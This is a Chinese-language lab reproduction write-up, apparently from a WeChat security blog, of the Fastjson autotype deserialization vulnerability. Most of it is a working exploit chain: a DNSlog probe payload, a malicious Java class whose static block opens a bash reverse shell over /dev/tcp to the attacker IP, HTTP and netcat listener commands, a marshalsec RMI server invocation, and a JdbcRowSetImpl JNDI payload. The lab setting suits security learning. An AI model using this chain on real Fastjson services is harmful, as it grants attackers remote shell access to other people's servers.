简介:Fastjson是一个用Java语言编写的高性能功能完善的JSON库。 fastjson反序列化漏洞, Fastjson在处理JSON到Java对象的反序列化时没有对输入进行适当的验证和限制 ,导致攻击者可以利用特制的JSON数据来执行恶意代码。
原理:Fastjson的autotype功能对于反序列化来说是开启的,它允许用户指定一个类型,然后Fastjson会尝试去实例化这个类型。如果没有对这个类型进行限制,攻击者可以指定为恶意类,从而导致代码执行。
漏洞复现:
靶机:centos7 192.168.100.132
攻击机:本机win10 192.168.48.215
运行靶机环境
docker-compose up -d
环境启动成功,访问漏洞页面
使用payload外带dns,验证漏洞存在。
payload:
{
"zeo":{
"@type":"java.net.Inet4Address",
"val":"jfh2lg.dnslog.cn"
}
}
开始进行反弹shell
首先搞个exp文件夹,用来放你的反弹木马文件
写个恶意的java类
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.48.215/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
javac编译为class文件。
python -m http.server 1337 开始http服务
开启nc nc -lvp 6666
启动LDAP服务,监听9999端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.215:1337/#TouchFile" 9999
burpsuite构造恶意payload发起攻击
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.48.215:9999/TouchFile",
"autoCommit":true
}
}
反弹shell成功
原文始发于微信公众号(小裴学安全):[漏洞复现]-fastjson框架漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论